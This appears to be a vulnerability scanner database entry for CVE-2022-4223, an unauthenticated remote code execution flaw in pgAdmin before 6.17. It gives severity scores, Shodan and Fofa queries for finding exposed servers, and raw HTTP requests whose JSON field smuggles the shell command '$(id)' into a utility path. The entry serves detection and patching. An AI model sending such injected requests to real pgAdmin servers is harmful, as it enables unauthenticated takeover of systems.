| Title | pgAdmin < 6.17 - Unauthenticated Remote Code Execution |
|---|---|
| Author | 0x_Akoko |
| Severity | Critical |
| Impact | Attackers can execute arbitrary external utilities on the server, potentially leading to remote code execution or system compromise. |
| Remediation | Update to version 6.17 or later to fix the security issue. |
| CVSS Score | 9.8 |
| EPSS Score | 0.87113 |
| CVE ID | CVE-2022-4223 |
| CWE ID | CWE-94,CWE-862 |
| Shodan Query | http.title:"pgAdmin" |
| Fofa Query | title="pgAdmin" |
| Tags | cve cve2022 pgadmin rce unauth |
pgAdmin prior to 6.17 contains an insecure HTTP API caused by improper access control, letting unauthenticated users execute arbitrary external utilities via path manipulation, exploit requires no authentication.
GET /login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 Safari/601.3.9
Connection: close
Accept-Encoding: gzip
POST /misc/validate_binary_path HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:141.0) Gecko/20100101 Firefox/141.0
Connection: close
Content-Length: 29
Content-Type: application/json
Referer: //browser/
X-pgA-CSRFToken: RF8iXd
Accept-Encoding: gzip
{"utility_path":"/tmp/$(id)"}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-4223.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-4223.pcap
N/AN/A